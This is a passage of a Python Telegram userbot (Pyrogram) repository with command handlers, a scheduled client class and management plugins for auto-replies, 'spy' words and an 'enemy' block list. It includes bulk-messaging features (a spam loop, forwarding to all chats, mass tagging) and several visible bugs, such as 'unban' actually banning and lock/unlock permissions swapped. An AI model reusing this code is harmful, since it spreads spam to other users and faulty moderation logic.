bot.get_users(user)).first_name) 35 | except:first=user 36 | await message.reply_document(f'Chats/X{user}X.txt' , file_name = f'Chats_{first}.txt') 37 | 38 | @Rjself.on_message(helper.fil('(?i)^card$') , group=0) 39 | @helper.is_on 40 | @helper.user_Details 41 | async def card(bot,message,user): 42 | await message.edit_text(user.Card_Number) 43 | 44 | 45 | @Rjself.on_message(helper.fil('(?i)^forall$') , group=0) 46 | @helper.is_on 47 | @helper.user_Details 48 | @helper.text_adder 49 | async def forward_all(bot,message,user,text): 50 | if message.reply_to_message : 51 | x=0 52 | async for i in bot.get_dialogs(): 53 | try: 54 | await message.reply_to_message.copy(int(i.chat.id)) 55 | x+=1 56 | await sleep(0.5) 57 | except:pass 58 | await message.edit_text(text.complited(x)) 59 | else : await message.edit_text(text.should_replied) 60 | 61 | @Rjself.on_message(helper.fil('(?i)^forpv$') , group=0) 62 | @helper.is_on 63 | @helper.user_Details 64 | @helper.text_adder 65 | async def forward_privates(bot,message,user,text): 66 | if message.reply_to_message : 67 | x=0 68 | async for i in bot.get_dialogs(): 69 | if i.chat.type == ChatType.PRIVATE : 70 | try: 71 | await message.reply_to_message.copy(int(i.chat.id)) 72 | x+=1 73 | await sleep(0.5) 74 | except:pass 75 | await message.edit_text(text.complited(x)) 76 | else : await message.edit_text(text.should_replied) 77 | 78 | 79 | @Rjself.on_message(helper.fil('(?i)^mydel') , group=0) 80 | @helper.is_on 81 | @helper.user_Details 82 | @helper.text_adder 83 | async def delete_my_messages(bot,message,_,text): 84 | chat_id = int(message.chat.id) 85 | async for msg in bot.get_chat_history(chat_id): 86 | try: 87 | if msg.from_user.is_self : 88 | await msg.delete() 89 | except errors.FloodWait as e : 90 | await sleep(e.value) 91 | except : pass 92 | await message.reply_text(text.all_m_deleted) 93 | 94 | @Rjself.on_message(helper.fil('(?i)^replytag') , group=0) 95 | @helper.is_on 96 | @helper.user_Details 97 | @helper.text_adder 98 | async def replying_tag(bot,message,_,text): 99 | global is_replying 100 | taglist=[] 101 | rep_text=message.text[9:] 102 | chat_id = int(message.chat.id) 103 | is_replying[chat_id]=True 104 | async for msg in bot.get_chat_history(chat_id,limit=1000): 105 | try: 106 | if msg.from_user.id not in taglist: 107 | await msg.reply_text(rep_text) 108 | try: 109 | taglist.append(msg.from_user.id) 110 | except: 111 | pass 112 | await sleep(1) 113 | if not is_replying[chat_id]: 114 | break 115 | except : 116 | pass 117 | 118 | @Rjself.on_message(helper.fil('(?i)^tag$') , group=0) 119 | @helper.is_on 120 | @helper.user_Details 121 | @helper.text_adder 122 | async def replying_tag(bot,message,_,text): 123 | global is_tagging 124 | txt ='' 125 | count=0 126 | chat_id = int(message.chat.id) 127 | is_tagging[chat_id]=True 128 | async for usr in bot.iter_chat_members(chat_id=chat_id): 129 | if usr.user.username: 130 | if is_tagging[chat_id]: 131 | if not usr.user.is_bot: 132 | txt += f"** |{bot.get_emoji}| {usr.user.mention()} ** \n " 133 | count+=1 134 | if count==5: 135 | await bot.send_message(chat_id,txt) 136 | txt ='' 137 | count=0 138 | await sleep(2) 139 | else: 140 | return 141 | is_tagging[chat_id] = False 142 | 143 | @Rjself.on_message(helper.fil('(?i)^stop$') , group=0) 144 | @helper.is_on 145 | @helper.user_Details 146 | @helper.text_adder 147 | async def stop(bot,message,_,text): 148 | global is_tagging , is_replying 149 | chat_id = int(message.chat.id) 150 | is_replying[chat_id]= False 151 | is_tagging[chat_id] = False 152 | await message.edit_text(text.stopped) 153 | 154 | @Rjself.on_message(helper.fil('(?i)^ban') , group=0) 155 | @helper.is_on 156 | @helper.user_Details 157 | @helper.text_adder 158 | async def ban(bot,message,_,text): 159 | chat=int(message.chat.id) 160 | if message.reply_to_message: 161 | user=int(message.reply_to_message.from_user.id) 162 | else: 163 | user=str(message.text[3:]).strip(' ') 164 | if user.isdigit() : 165 | user=int(user) 166 | await bot.ban_chat_member(chat , user) 167 | await message.edit_text(text.banned) 168 | 169 | @Rjself.on_message(helper.fil('(?i)^ban') , group=0) 170 | @helper.is_on 171 | @helper.user_Details 172 | @helper.text_adder 173 | async def unban(bot,message,_,text): 174 | chat=int(message.chat.id) 175 | if message.reply_to_message: 176 | user=int(message.reply_to_message.from_user.id) 177 | else: 178 | user=str(message.text[3:]).strip(' ') 179 | if user.isdigit() : 180 | user=int(user) 181 | await bot.ban_chat_member(chat , user) 182 | await message.edit_text(text.unbanned) 183 | 184 | @Rjself.on_message(helper.fil('(?i)^lock') , group=0) 185 | @helper.is_on 186 | @helper.user_Details 187 | @helper.text_adder 188 | async def lock(bot,message,_,text): 189 | await bot.set_chat_permissions(int(message.chat.id), bot.unmute) 190 | await message.edit_text(text.locked) 191 | 192 | @Rjself.on_message(helper.fil('(?i)^unlock') , group=0) 193 | @helper.is_on 194 | @helper.user_Details 195 | @helper.text_adder 196 | async def unlock(bot,message,_,text): 197 | await bot.set_chat_permissions(int(message.chat.id), bot.mute) 198 | await message.edit_text(text.unlocked) 199 | 200 | 201 | @Rjself.on_message(helper.fil('(?i)^mute') , group=0) 202 | @helper.is_on 203 | @helper.user_Details 204 | @helper.text_adder 205 | async def mute(bot,message,_,text): 206 | chat=int(message.chat.id) 207 | if message.reply_to_message: 208 | user=int(message.reply_to_message.from_user.id) 209 | else: 210 | user=str(message.text[4:]).strip(' ') 211 | if user.isdigit() : 212 | user=int(user) 213 | await bot.restrict_chat_member(chat , user) 214 | await message.edit_text(text.muted) 215 | 216 | @Rjself.on_message(helper.fil('(?i)^temmute') , group=0) 217 | @helper.is_on 218 | @helper.user_Details 219 | @helper.text_adder 220 | async def temporary_mute(bot,message,_,text): 221 | chat=int(message.chat.id) 222 | if message.reply_to_message: 223 | user=int(message.reply_to_message.from_user.id) 224 | else: 225 | user=str(message.text[8:]).strip(' ').split('|')[0] 226 | if user.isdigit() : 227 | user=int(user) 228 | time=int(str(message.text[8:]).strip(' ').split('|')[-1]) 229 | time = datetime.now() + timedelta(min=time) 230 | await bot.restrict_chat_member(chat , user) 231 | await message.edit_text(text.temmuted(time)) 232 | 233 | @Rjself.on_message(helper.fil('(?i)^unmute') , group=0) 234 | @helper.is_on 235 | @helper.user_Details 236 | @helper.text_adder 237 | async def unmute(bot,message,_,text): 238 | chat=int(message.chat.id) 239 | if message.reply_to_message: 240 | user=int(message.reply_to_message.from_user.id) 241 | else: 242 | user=str(message.text[3:]).strip(' ') 243 | if user.isdigit() : 244 | user=int(user) 245 | 246 | await bot.restrict_chat_member(chat , user , bot.unmute) 247 | await message.edit_text(text.unmuted) 248 | 249 | 250 | @Rjself.on_message(helper.fil('(?i)^leave$') , group=0) 251 | @helper.is_on 252 | @helper.user_Details 253 | @helper.text_adder 254 | async def leave(bot,message,_,text): 255 | await message.edit_text(text.bye) 256 | await bot.leave_chat(message.chat.id) 257 | 258 | @Rjself.on_message(helper.fil('(?i)^info') , group=0) 259 | @helper.is_on 260 | @helper.user_Details 261 | @helper.text_adder 262 | async def user_info(bot,message,_,text): 263 | if message.reply_to_message: 264 | user=int(message.reply_to_message.from_user.id) 265 | else: 266 | user=str(message.text[3:]).strip(' ').split('|')[0] 267 | if user.isdigit() : 268 | user=int(user) 269 | 270 | user_details=(await bot.get_users(user)) 271 | if user_details.is_deleted: 272 | await message.edit_text(text.deleted) 273 | else: 274 | photo=[i async for i in (bot.get_chat_photos(user,limit=2))][0] 275 | await message.reply_photo(photo=photo,caption=text.info(user_details)) 276 | 277 | 278 | @Rjself.on_message(helper.fil('(?i)^wikifa') , group=0) 279 | @helper.is_on 280 | @helper.user_Details 281 | @helper.text_adder 282 | async def wikifa(bot,message,_,text): 283 | try: 284 | text=message.text[7:] 285 | wikipedia.set_lang('fa') 286 | result = wikipedia.page(text) 287 | await message.edit_text(result.summary[0:4000]) 288 | except: 289 | await message.edit_text(text.not_found) 290 | 291 | @Rjself.on_message(helper.fil('(?i)^wiki') , group=0) 292 | @helper.is_on 293 | @helper.user_Details 294 | @helper.text_adder 295 | async def wiki(bot,message,_,text): 296 | try: 297 | text=message.text[5:] 298 | wikipedia.set_lang('en') 299 | result = wikipedia.page(text) 300 | await message.edit_text(result.summary[0:1000]) 301 | except : 302 | await message.edit_text(text.not_found) 303 | 304 | @Rjself.on_message(helper.fil('(?i)^block$') , group=0) 305 | @helper.is_on 306 | async def Block(bot, message): 307 | id=message.reply_to_message.from_user.id 308 | await bot.block_user(id) 309 | await message.edit_text('user blocked') 310 | 311 | 312 | @Rjself.on_message(helper.fil('(?i)^unblock$') , group=0) 313 | @helper.is_on 314 | async def Unblock(bot, message): 315 | id=message.reply_to_message.from_user.id 316 | await bot.unblock_user(id) 317 | await message.edit_text('user unblocked') 318 | 319 | @Rjself.on_message(helper.fil('(?i)^spam') , group=0) 320 | @helper.is_on 321 | async def spammer(bot, message): 322 | for i in range(int(message.split(' ')[1])): 323 | await bot.send_message(message.chat.id,(str(message.text).split('|')[1])) 324 | 325 | -------------------------------------------------------------------------------- /Classes/CliClass.py: -------------------------------------------------------------------------------- 1 | from pyrogram.raw.functions.account import GetAuthorizations 2 | from apscheduler.schedulers.asyncio import AsyncIOScheduler 3 | from pyrogram.raw.functions.messages import DeleteHistory 4 | from pyrogram.raw.functions.channels import CreateChannel 5 | from pyrogram.enums import ParseMode , ChatType 6 | from pyrogram.types import ChatPermissions 7 | from datetime import datetime , timedelta 8 | from Database.selfdata import database 9 | from pyrogram import Client , filters 10 | from random import randint , choice 11 | from Classes.UserClass import User 12 | from Config.TEXTS import Text 13 | from pyromod import listen 14 | from time import sleep 15 | import Config 16 | 17 | #----------------------------------------------------------------------------------------------------------------| 18 | class Rjself(Client): #-| 19 | def __init__(self): #-| 20 | super().__init__( #-| 21 | f"@amiralirj_official ", #-| 22 | plugins=dict(root=f'plugins'), #-| 23 | api_id=Config.API_ID, #-| 24 | api_hash=Config.API_HASH, #-| 25 | sleep_threshold=60, #-| 26 | parse_mode=ParseMode.MARKDOWN, #-| 27 | workers=10, #-| 28 | in_memory=False, #-| 29 | workdir='./Database') #-| 30 | #----------------------------------------------------------------------------------------------------------------| 31 | async def edit_ask(self, text, MESSAGE , filters=filters.me, timeout=30 ): #-| 32 | request = await MESSAGE.edit_text(text) #-| 33 | response = await self.listen(MESSAGE.chat.id, filters, timeout) #-| 34 | response.request = request #-| 35 | return response #-| 36 | #----------------------------------------------------------------------------------------------------------------| Add Cancel text recognize to ask(pyromood) Method 37 | async def Ask(self, text, msg ): #-| 38 | text = text + '\n' + Text(User().Lang).cancel #-| 39 | try: #-| 40 | x=await self.edit_ask( text , msg ) #-| 41 | except TimeoutError : #-| 42 | await x.edit_text(Text(User().Lang).timeout) #-| 43 | if x.text==Text(User().Lang).cancel_btn: #-| 44 | await x.edit_text(Text(User().Lang).cancelled) #-| 45 | raise ConnectionRefusedError #-| 46 | else : #-| 47 | return x #-| 48 | #----------------------------------------------------------------------------------------------------------------| 49 | def start_robot(self,id): 50 | database.add(id) 51 | 52 | 53 | def create_log_channels(self): 54 | user=User() 55 | if not user.Log_Channel : 56 | channel=self.create_channel(title='DONT LEAVE',description ='@amiralirj_official \n https://www.github.com/amiralirj \n DONT LEAVE | some settings will apear here') 57 | user.change_lchannel(int(channel.id)) 58 | self.send_message(int(channel.id),Text(user.Lang).help) 59 | self.send_message(int(channel.id),'dev : @amiralirj_official \n https://www.github.com/amiralirj \n ** DONT LEAVE ** | some messages will apear here ') 60 | 61 | if not user.Messages_Channel : 62 | channel=self.create_channel(title='DONT LEAVE',description ='@amiralirj_official \n https://www.github.com/amiralirj \n DONT LEAVE | some messages will apear here ') 63 | user.change_mchannel(int(channel.id)) 64 | self.send_message(int(channel.id),Text(user.Lang).help) 65 | self.send_message(int(channel.id),'dev : @amiralirj_official \n https://www.github.com/amiralirj \n ** DONT LEAVE ** | some messages will apear here ') 66 | 67 | 68 | def OP_IRAN(self): # start schedular tasks every minutes 69 | 70 | scheduler = AsyncIOScheduler(timezone=Config.zone) # your city time zone 71 | scheduler.add_job(self.minute , "cron", second=0) 72 | 73 | # while True : 74 | # now=datetime.now() 75 | # if int(now.second) < 5 : break 76 | # else : sleep(3) 77 | # scheduler = AsyncIOScheduler() 78 | # scheduler.add_job(self.minute , "interval", seconds=60) 79 | 80 | scheduler.start() 81 | 82 | # if they_want_their_rights('FREEDOM'): 83 | # return 'their bones' + 'gunSHOTS' 84 | # else:return NULL 85 | 86 | async def is_online(self): 87 | '''CHEAKING STATUS OF ACCOUNT''' 88 | 89 | sessions=await self.invoke(GetAuthorizations()) 90 | 91 | for i in sessions.authorizations : 92 | dt = datetime.fromtimestamp(int(i.date_active)) + timedelta(minutes=15) 93 | now=datetime.now() 94 | if dt > now and not i.current : 95 | return True 96 | 97 | return False 98 | 99 | 100 | async def set_bio(self): 101 | user=User() 102 | try:bio=str(choice(user.show_bios)) 103 | except:return 104 | 105 | if '{online}' in bio : 106 | 107 | user_activity= await self.is_online() 108 | if user_activity:emoji='🟢' 109 | else:emoji='🔴' 110 | 111 | bio=bio.replace('{online}',emoji) 112 | 113 | if '{heart}' in bio : 114 | hearts=['❤️','🧡','💛','💚','💙','💜','🖤','🤍','🤎'] 115 | bio=bio.replace('{heart}',choice(hearts)) 116 | 117 | if '{love}' in bio : 118 | love=['💔','❤️‍🔥','❤️‍🩹','💖','💗','💓','💞','💕','❣️','💘','💝','♥️','💟','✨','🫀','♡','♥','ღ','🫂'] 119 | bio=bio.replace('{love}',choice(love)) 120 | 121 | if '{time}' in bio : 122 | time=str(datetime.now().strftime('%H:%M')) 123 | bio=bio.replace('{time}',str(time)) 124 | 125 | if '{rand}' in bio : 126 | bio=bio.replace('{rand}',str(randint(1,1000))) 127 | 128 | if '{emoji}' in bio : 129 | emoji=['⚡️','✨','🔥','🌓','🪐','🌪','💎','🪩','♦️','❄️','☃️','🌙','☘️','🦥','🦦','👼','🍄','💫','💦','🌏','🌎','🧊','🍫','🍼'] 130 | bio=bio.replace('{emoji}',str(self.get_emoji())) 131 | 132 | if '{date}' in bio : 133 | date=str(datetime.now().strftime('%Y-%m-%d')) 134 | bio=bio.replace('{date}',str(date)) 135 | 136 | if '{day}' in bio : 137 | day=(datetime.now()).day 138 | bio=bio.replace('{day}',str(day)) 139 | try: 140 | await self.update_profile(bio=bio) 141 | except Exception as e:print(e) 142 | 143 | def is_wish_time(self): 144 | now=(datetime.now()) 145 | if int(now.hour) == int(now.minute):return True 146 | else : return False 147 | 148 | def is_new_day(self): 149 | now=(datetime.now()) 150 | if int(now.hour) == 0 and int(now.minute)==0 :return True 151 | elif int(now.hour) == 0 and int(now.minute)==1 :return True 152 | else : return False 153 | 154 | async def send_love_wish(self,user): 155 | love=['💔','❤️‍🔥','❤️‍🩹','💖','💗','💓','💞','💕','❣️','💘','💝','♥️','✨','🫀','♡','♥','🫂','❤️','🧡','💛','💚','💙','💜','🤍'] 156 | emoji=['⚡️','✨','🔥','🌓','🪐','🌪','💎','🪩','♦️','❄️','🌙','☘️','🦥','🦦','👼','🍄','💫','💦','🌏','🌎','🧊','🍫','🍼'] 157 | time=str(datetime.now().strftime('%H:%M')) 158 | try: 159 | await self.send_message( user.Love ,f'{time} {choice(love)}{choice(emoji)}' ) 160 | except:pass 161 | 162 | async def clean(self): 163 | async for dialog in self.get_dialogs(): 164 | type=dialog.chat.type 165 | user=int(dialog.chat.id) 166 | if dialog.is_pinned : continue 167 | if type==ChatType.PRIVATE : 168 | try: 169 | count = await self.get_chat_history_count(user) 170 | if count > 10000 : return 171 | except:pass 172 | try: 173 | peer= await self.resolve_peer(user) 174 | await self.invoke(DeleteHistory(peer=peer,revoke=True,max_id=0)) 175 | except:pass 176 | 177 | 178 | async def minute(self): 179 | user=User() 180 | if user.Random_Bio : 181 | await self.set_bio() 182 | if user.Love : 183 | if self.is_wish_time() : 184 | await self.send_love_wish(user) 185 | if self.is_new_day(): 186 | if user.Auto_Clean: 187 | await self.clean() 188 | 189 | def get_emoji(self): 190 | return choice(Config.emoji) 191 | 192 | @property 193 | def mute(self): 194 | return ChatPermissions(can_send_messages=False) 195 | 196 | @property 197 | def unmute(self) : 198 | return ChatPermissions(can_send_messages=True,can_send_animations=True,can_send_games=True,can_send_media_messages=True,can_send_polls=True,can_send_stickers=True) 199 | 200 | @property 201 | def swear(self): 202 | return choice(Config.swears) 203 | 204 | 205 | class Helper: 206 | def __init__(self) -> None: 207 | self.me=filters.me 208 | #----------------------------------------------------------------------------------------------------------------| 209 | def fil(self,text:str): #-| 210 | command = text.strip('(?i)^').strip('$') #-| 211 | return (( filters.command(command,'/') | filters.regex(text)) & filters.me ) #-| 212 | #----------------------------------------------------------------------------------------------------------------| 213 | def user_Details(self,Func): #-| 214 | async def Wrapper(cli, message): #-| 215 | await Func(cli,message,User()) #-| 216 | return Wrapper #-| 217 | #-| 218 | def text_adder(self,Func): #-| 219 | async def Wrapper(cli,message,user): #-| 220 | await Func(cli,message,user,Text(user.Lang)) #-| 221 | return Wrapper #-| 222 | #-| 223 | def is_on(self,Func): #-| 224 | async def Wrapper(cli,message): #-| 225 | if bool(User().Bot) : #-| 226 | await Func(cli,message) #-| 227 | else: return #-| 228 | return Wrapper #-| 229 | #-| 230 | def turn(self,Func): #-| 231 | async def Wrapper(cli,message,user): #-| 232 | if str(message.text).split(' ')[-1].lower() == 'on':TN=[True,Text(User().Lang).on] #-| 233 | elif str(message.text).split(' ')[-1].lower() == 'off':TN=[False,Text(User().Lang).off] #-| 234 | else : return #-| 235 | await Func(cli,message,User(),TN) #-| 236 | return Wrapper #-| 237 | #----------------------------------------------------------------------------------------------------------------| 238 | helper = Helper() 239 | 240 | 241 | # @amiralirj_official - https://www.github.com/amiralirj 242 | # >2022 ........2044.....2078| -------------------------------------------------------------------------------- /plugins/Managing.py: -------------------------------------------------------------------------------- 1 | from Classes.CliClass import Rjself , helper 2 | from Config.TEXTS import Text 3 | 4 | 5 | @Rjself.on_message(helper.fil('(?i)^clearanswers') , group=0) 6 | @helper.user_Details 7 | async def del_all_answers(bot,message,user): 8 | for i in user.show_answers : # "کج نمیره لاستیک تا لق نزنه شاسی " 9 | user.rem_answer(i[0]) 10 | await message.edit_text(Text(user.Lang).all_removed) 11 | 12 | @Rjself.on_message(helper.fil('(?i)^delanswer') , group=0) 13 | @helper.user_Details 14 | async def del_answer(bot,message,user): 15 | msg=await bot.Ask(Text(user.Lang).askdelword,message) 16 | if not msg.text : 17 | await msg.edit_text(Text(user.Lang).only_text) 18 | return 19 | user.rem_answer(str(msg.text).strip()) 20 | await msg.edit_text(Text(user.Lang).removed) 21 | 22 | @Rjself.on_message(helper.fil('(?i)^answerlist$') , group=0) 23 | @helper.user_Details 24 | async def answer_list(bot,message,user): 25 | words = '' 26 | for i in user.show_answers : 27 | words += f'☆ ` {i[0]} ` : ` {i[1]} ` \n' 28 | if len(words.split('\n')) > 20 : 29 | await message.reply_text(words) 30 | words='' 31 | 32 | if words != '' : 33 | await message.reply_text(words) 34 | 35 | @Rjself.on_message(helper.fil('(?i)^addanswer') , group=0) 36 | @helper.user_Details 37 | async def add_answer(bot,message,user): 38 | chat= int(message.chat.id) 39 | msg=await bot.Ask(Text(user.Lang).ask_word,message) 40 | if not msg.text : 41 | await msg.edit_text(Text(user.Lang).only_text) 42 | return 43 | msg2=await bot.ask(chat.Text(user.Lang).ask_answer,filters=helper.me) 44 | if not msg2.text : 45 | await msg.edit_text(Text(user.Lang).only_text) 46 | return 47 | try:user.add_answer( str(msg.text).strip(' ') , str(msg2.text).strip(' ') ) 48 | except: 49 | await msg2.edit_text(Text(user.Lang).duplicated(str(msg.text))) 50 | return 51 | await msg.reply_text(Text(user.Lang).answer_setted(str(msg.text) , str(msg2.text) ) ) 52 | 53 | 54 | @Rjself.on_message(helper.fil('(?i)^clearspies') , group=0) 55 | @helper.user_Details 56 | async def del_all_spies(bot,message,user): 57 | for i in user.show_spyes : 58 | user.rem_spy(i) 59 | await message.edit_text(Text(user.Lang).all_removed) 60 | 61 | @Rjself.on_message(helper.fil('(?i)^delspy') , group=0) 62 | @helper.user_Details 63 | async def del_word(bot,message,user): 64 | msg=await bot.Ask(Text(user.Lang).askdelspy,message) 65 | if not msg.text : 66 | await msg.edit_text(Text(user.Lang).only_text) 67 | return 68 | user.rem_spy(str(msg.text)) 69 | await msg.edit_text(Text(user.Lang).removed) 70 | 71 | @Rjself.on_message(helper.fil('(?i)^spylist$') , group=0) 72 | @helper.user_Details 73 | async def spy_list(bot,message,user): 74 | words = '' 75 | for i in user.show_spyes : 76 | words += f'☆ ` {i} ` \n' 77 | if len(words.split('\n')) > 20 : 78 | await message.reply_text(words) 79 | words='' 80 | 81 | if words != '' : 82 | await message.reply_text(words) 83 | 84 | @Rjself.on_message(helper.fil('(?i)^addspy') , group=0) 85 | @helper.user_Details 86 | async def add_word(bot,message,user): 87 | msg=await bot.Ask(Text(user.Lang).askword,message) 88 | if not msg.text : 89 | await msg.edit_text(Text(user.Lang).only_text) 90 | return 91 | try:user.add_spy(str(msg.text).strip(' ')) 92 | except: 93 | await msg.edit_text(Text(user.Lang).duplicated(str(msg.text))) 94 | return 95 | await msg.edit_text(Text(user.Lang).feature_setted(str(msg.text))) 96 | 97 | @Rjself.on_message(helper.fil('(?i)^delenemy') , group=0) 98 | @helper.user_Details 99 | async def del_enemy(bot,message,user): 100 | if message.reply_to_message : 101 | enemy= int((message.reply_to_message.from_user.id)) 102 | else : 103 | enemy= (str(message.text)[8:]) 104 | enemy= (await bot.get_users(enemy)).id 105 | user.rem_enemy(enemy) 106 | try:await bot.unblock_user(enemy) 107 | except:pass 108 | await message.edit_text(Text(user.Lang).removed) 109 | 110 | @Rjself.on_message(helper.fil('(?i)^clearenemies') , group=0) 111 | @helper.user_Details 112 | async def del_all_enemy(bot,message,user): 113 | for i in user.show_enemies : 114 | user.rem_enemy(i) 115 | await message.edit_text(Text(user.Lang).all_removed) 116 | 117 | @Rjself.on_message(helper.fil('(?i)^addenemy') , group=0) 118 | @helper.user_Details 119 | async def add_enemy(bot,message,user): 120 | if bool(message.reply_to_message) : 121 | enemy= int((message.reply_to_message.from_user.id)) 122 | else : 123 | enemy= (str(message.text)[8:]) 124 | enemy= (await bot.get_users(enemy)).id 125 | try: 126 | user.add_enemy(enemy) 127 | try:await bot.block_user(enemy) 128 | except:pass 129 | except: 130 | await message.edit_text(Text(user.Lang).duplicated(enemy)) 131 | return 132 | await message.edit_text(Text(user.Lang).feature_setted(enemy)) 133 | 134 | @Rjself.on_message(helper.fil('(?i)^enemylist$') , group=-1) 135 | @helper.user_Details 136 | async def show_enemy_list(bot,message,user): 137 | enemies = '' 138 | for i in user.show_enemies : 139 | print(i) 140 | try : 141 | enemy= (await bot.get_users(int(i))) 142 | enemy=f'{enemy.first_name} - {enemy.username} ' 143 | except:enemy=int(i) 144 | 145 | enemies += f'✢ ` {enemy} ` \n' 146 | if len(enemies.split('\n')) > 20 : 147 | await message.reply_text(enemies) 148 | enemies='' 149 | 150 | if enemies != '' : 151 | await message.reply_text(enemies) 152 | 153 | @Rjself.on_message(helper.fil('(?i)^biolist$') , group=0) 154 | @helper.user_Details 155 | async def bio_list(bot,message,user): 156 | biographies = '' 157 | for i in user.show_bios : 158 | biographies += f'☆ ` {i} ` \n' 159 | if len(biographies.split('\n')) > 20 : 160 | await message.reply_text(biographies) 161 | biographies='' 162 | 163 | if biographies != '' : 164 | await message.reply_text(biographies) 165 | 166 | @Rjself.on_message(helper.fil('(?i)^clearbioes') , group=0) 167 | @helper.user_Details 168 | async def del_all_bio(bot,message,user): 169 | for i in user.show_bios : 170 | user.rem_bio(i) 171 | await message.edit_text(Text(user.Lang).all_removed) 172 | 173 | @Rjself.on_message(helper.fil('(?i)^delbio') , group=0) 174 | @helper.user_Details 175 | async def del_bio(bot,message,user): 176 | biographies = '' 177 | for i in user.show_bios : 178 | biographies += f'` {i} ` \n' 179 | msg=await bot.Ask(Text(user.Lang).askdelbio(biographies),message) 180 | if not msg.text : 181 | await msg.edit_text(Text(user.Lang).only_text) 182 | return 183 | user.rem_bio(str(msg.text)) 184 | await msg.edit_text(Text(user.Lang).removed) 185 | 186 | @Rjself.on_message(helper.fil('(?i)^addbio') , group=0) 187 | @helper.user_Details 188 | async def add_bio(bot,message,user): 189 | msg=await bot.Ask(Text(user.Lang).askrandbio,message) 190 | if not msg.text : 191 | await msg.edit_text(Text(user.Lang).only_text) 192 | return 193 | try:user.add_bio(str(msg.text).strip(' ')) 194 | except: 195 | await msg.edit_text(Text(user.Lang).duplicated(str(msg.text))) 196 | return 197 | await msg.edit_text(Text(user.Lang).feature_setted(str(msg.text))) 198 | 199 | @Rjself.on_message(helper.fil('(?i)^clerk') , group=0) 200 | @helper.user_Details 201 | async def clerk(bot,message,user): 202 | msg=await bot.Ask(Text(user.Lang).askclerk,message) 203 | if str(msg.text).lower()=='none': 204 | user.change_offline_answering(0) 205 | await msg.edit_text(Text(user.Lang).removed) 206 | return 207 | final_message=await msg.copy(int(user.Log_Channel)) 208 | user.change_offline_answering(int(final_message.id)) 209 | await msg.reply_text(Text(user.Lang).feature_setted(Text(user.Lang).channel_mid_link(final_message.id,str(final_message.chat.id)))) 210 | 211 | 212 | @Rjself.on_message(helper.fil('(?i)^setmainbio') , group=0) 213 | @helper.user_Details 214 | async def main_bio(bot,message,user): 215 | msg=await bot.Ask(Text(user.Lang).askbio,message) 216 | if not msg.text : 217 | await msg.edit_text(Text(user.Lang).only_text) 218 | return 219 | if str(msg.text).lower()=='none': 220 | user.change_main_bio('None') 221 | await msg.edit_text(Text(user.Lang).removed) 222 | return 223 | user.change_main_bio(str(msg.text)) 224 | await msg.edit_text(Text(user.Lang).feature_setted(str(msg.text))) 225 | 226 | 227 | @Rjself.on_message(helper.fil('(?i)^setcard') , group=0) 228 | @helper.user_Details 229 | async def set_cardnum(bot,message,user): 230 | msg=await bot.Ask(Text(user.Lang).askcard,message) 231 | if str(msg.text).lower()=='none': 232 | user.change_card_num('None') 233 | await msg.edit_text(Text(user.Lang).removed) 234 | return 235 | user.change_card_num(str(msg.text)) 236 | await msg.reply_text(Text(user.Lang).feature_setted(str(msg.text))) 237 | 238 | 239 | @Rjself.on_message(helper.fil('(?i)^dellove') , group=0) 240 | @helper.user_Details 241 | async def delete_love(bot,message,user): 242 | user.change_love('None') 243 | await message.edit_text(Text(user.Lang).feature_setted(None)) 244 | 245 | @Rjself.on_message(helper.fil('(?i)^setlove') , group=0) 246 | @helper.user_Details 247 | async def love(bot,message,user): 248 | user.change_love(int(message.chat.id)) 249 | await message.edit_text(Text(user.Lang).feature_setted(int(message.chat.id))) 250 | 251 | @Rjself.on_message(helper.fil('(?i)^lang') , group=0) 252 | @helper.user_Details 253 | async def language(bot,message,user): 254 | txt=str(message.text).split(' ')[-1] 255 | if txt.lower()=='fa':lang=1 256 | elif txt.lower()=='en' :lang=0 257 | else : await message.edit_text(Text(user.Lang).error) 258 | user.change_lang(lang) 259 | await message.edit_text(Text(user.Lang).feature_setted(txt)) 260 | 261 | @Rjself.on_message(helper.fil('(?i)^setwel') , group=0) 262 | @helper.user_Details 263 | async def welcomer(bot,message,user): 264 | msg=await bot.Ask(Text(user.Lang).askwel,message) 265 | if str(msg.text).lower()=='none': 266 | user.change_welcomer(0) 267 | await msg.edit_text(Text(user.Lang).removed) 268 | return 269 | final_message=await msg.copy(user.change_lchannel) 270 | user.change_welcomer(int(final_message.id)) 271 | await msg.reply_text(Text(user.Lang).feature_setted(Text(user.Lang).channel_mid_link(final_message.id,final_message.chat.id))) 272 | 273 | @Rjself.on_message(helper.fil('(?i)^reaction') , group=0) 274 | @helper.user_Details 275 | async def reacting(bot,message,user): 276 | msg=await bot.Ask(Text(user.Lang).ask_emoji,message) 277 | if not msg.text : 278 | await msg.edit_text(Text(user.Lang).only_text) 279 | return 280 | if str(msg.text).lower()=='none': 281 | user.change_reacting('None') 282 | await msg.edit_text(Text(user.Lang).removed) 283 | return 284 | user.change_reacting(str(msg.text).lower()) 285 | await msg.edit_text(Text(user.Lang).feature_setted(str(msg.text))) 286 | 287 | @Rjself.on_message(helper.fil('(?i)^status') , group=0) 288 | @helper.user_Details 289 | async def status_model(bot,message,user): 290 | msg=await bot.Ask(Text(user.Lang).ask_status,message) 291 | if str(msg.text).lower() =='photo':N=8 292 | elif str(msg.text).lower() =='video':N=7 293 | elif str(msg.text).lower() =='sticker':N=6 294 | elif str(msg.text).lower() =='recording video':N=5 295 | elif str(msg.text).lower() =='playing':N=4 296 | elif str(msg.text).lower() =='recording voice':N=3 297 | elif str(msg.text).lower() == 'typing':N=2 298 | elif str(msg.text).lower() =='online':N=1 299 | elif str(msg.text).lower() =='none':N=0 300 | else:return 301 | user.change_chat_status(N) 302 | await msg.edit_text(Text(user.Lang).feature_setted(str(msg.text))) 303 | 304 | 305 | @Rjself.on_message(helper.fil('(?i)^typemodel') , group=0) 306 | @helper.user_Details 307 | async def set_type_model(bot,message,user): 308 | msg=await bot.Ask(Text(user.Lang).ask_textchange,message) 309 | if str(msg.text).lower() == 'edit':N=3 310 | elif str(msg.text).lower() == 'copy':N=2 311 | elif str(msg.text).lower() =='bold':N=1 312 | elif str(msg.text).lower() =='none':N=0 313 | else:return 314 | user.change_text_type(N) 315 | await msg.edit_text(Text(user.Lang).feature_setted(str(msg.text))) 316 | 317 | @Rjself.on_message(helper.fil('(?i)^read') , group=0) 318 | @helper.user_Details 319 | @helper.turn 320 | async def reading(bot,message,user,turn): 321 | user.change_reading(turn[0]) 322 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 323 | 324 | @Rjself.on_message(helper.fil('(?i)^cleaning') , group=0) 325 | @helper.user_Details 326 | @helper.turn 327 | async def cleaning(bot,message,user,turn): 328 | user.change_cleaning(turn[0]) 329 | await 